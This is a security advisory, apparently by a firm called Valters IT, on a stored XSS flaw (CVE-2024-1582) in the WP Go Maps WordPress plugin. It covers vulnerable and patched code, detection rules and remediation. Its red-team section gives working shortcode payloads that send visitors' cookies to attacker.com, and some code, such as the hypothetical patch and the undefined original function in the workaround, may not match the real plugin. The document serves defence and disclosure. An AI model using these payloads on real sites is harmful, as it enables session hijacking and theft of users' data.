CVE-2024-1582

Executive Summary

CVE-2024-1582 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Go Maps (formerly WP Google Maps) plugin for WordPress. This flaw affects all versions up to and including 9.0.32. The vulnerability resides in the plugin's wpgmza shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least Contributor-level permissions can inject arbitrary web scripts. When a site administrator or visitor accesses a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, defacement, or data theft.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is not an NPM, PyPI, Go, or Ruby package. Users should verify the integrity of their plugin files by comparing checksums with the official repository. No known supply chain compromise has been reported for this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication, but the low privileges needed and the lack of user interaction make it a realistic attack vector for WordPress sites with multiple authors.

Deep Dive & Mechanics

The wpgmza shortcode is used to embed maps into WordPress posts and pages. The plugin processes attributes like center, zoom, and markers without proper validation. An attacker can inject malicious JavaScript into these attributes. For example:

[wpgmza center="<script>alert('XSS')</script>"]

When WordPress renders the shortcode, the unsanitized attribute is output directly into the page HTML, allowing the script to execute. The vulnerability is stored because the malicious shortcode is saved in the database and executed every time the page is loaded.

The root cause is insufficient input sanitization and output escaping in the plugin's shortcode handler. The plugin fails to use WordPress's built-in functions like esc_attr() or wp_kses() for attribute values.

Vulnerable vs. Patched Code

Vulnerable Code (wp-google-maps/includes/class.shortcode.php):

function wpgmza_shortcode($atts) {
    extract(shortcode_atts(array(
        'center' => '',
        'zoom' => '10',
        'markers' => ''
    ), $atts));
    
    // Direct output without sanitization
    $output = '<div class="wpgmza_map" data-center="' . $center . '" data-zoom="' . $zoom . '">';
    // ... rest of the code
    return $output;
}

Patched Code (Hypothetical Fix):

function wpgmza_shortcode($atts) {
    $atts = shortcode_atts(array(
        'center' => '',
        'zoom' => '10',
        'markers' => ''
    ), $atts);
    
    // Sanitize and escape attributes
    $center = esc_attr($atts['center']);
    $zoom = intval($atts['zoom']);
    
    $output = '<div class="wpgmza_map" data-center="' . $center . '" data-zoom="' . $zoom . '">';
    // ... rest of the code
    return $output;
}

The patched version uses esc_attr() to escape the center attribute and intval() to ensure zoom is an integer, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with WP Go Maps plugin version <= 9.0.32
• Contributor-level account or higher

Exploitation Steps:

1. Log in as a Contributor.
2. Create a new post or edit an existing one.
3. Insert the following shortcode into the post content:

[wpgmza center="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

4. Publish the post.
5. When an administrator or visitor views the post, the script executes, sending cookies to the attacker's server.

Alternative Payload (Session Hijacking):

[wpgmza center="<img src=x onerror=\"new Image().src='https://attacker.com/steal?data='+document.cookie\">"]

Blue Team

Detection:

• Monitor for posts containing the wpgmza shortcode with suspicious attributes.
• Look for unusual JavaScript in post content.
• Check for outbound connections to unknown domains from the WordPress admin panel.

Prevention:

• Disable the plugin until a patch is available.
• Restrict Contributor-level permissions to trusted users only.
• Use a Web Application Firewall (WAF) to block XSS payloads in shortcode attributes.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/wp-google-maps/includes/class.shortcode.php (version <= 9.0.32)
• Database: Posts or pages containing the wpgmza shortcode with script tags or event handlers in attributes.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress debug logs showing unexpected shortcode attribute values.

Detection Engineering

YARA Rule

rule CVE_2024_1582_WP_Go_Maps_XSS {
    meta:
        description = "Detects WP Go Maps plugin files vulnerable to CVE-2024-1582"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1582"
    strings:
        $shortcode_handler = /function wpgmza_shortcode\(/
        $unsafe_output = /data-center="\s*\$center/
    condition:
        $shortcode_handler and $unsafe_output
}

Sigma Rule

title: CVE-2024-1582 WP Go Maps Stored XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS via WP Go Maps shortcode
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "wpgmza"
        http.body|contains: 
            - "<script>"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1582 WP Go Maps Stored XSS Attempt"; flow:to_server,established; content:"wpgmza"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Review all posts created by Contributor-level users for malicious shortcodes.
3. Change all WordPress admin passwords if compromise is suspected.

Long-term Fix:

• Apply the vendor patch when available (check wp-google-maps.com or WordPress Plugin Directory).
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.
• Restrict shortcode usage to administrators only via user_can() checks.

Workaround:

• Add the following code to the theme's functions.php to sanitize shortcode output:

add_shortcode('wpgmza', 'custom_wpgmza_shortcode');
function custom_wpgmza_shortcode($atts) {
    $atts = shortcode_atts(array(
        'center' => '',
        'zoom' => '10',
        'markers' => ''
    ), $atts);
    
    $center = esc_attr($atts['center']);
    $zoom = intval($atts['zoom']);
    
    // Original plugin code here with sanitized variables
    return wpgmza_shortcode_original(array('center' => $center, 'zoom' => $zoom, 'markers' => $atts['markers']));
}

Valters IT
Securing WordPress ecosystems one CVE at a time.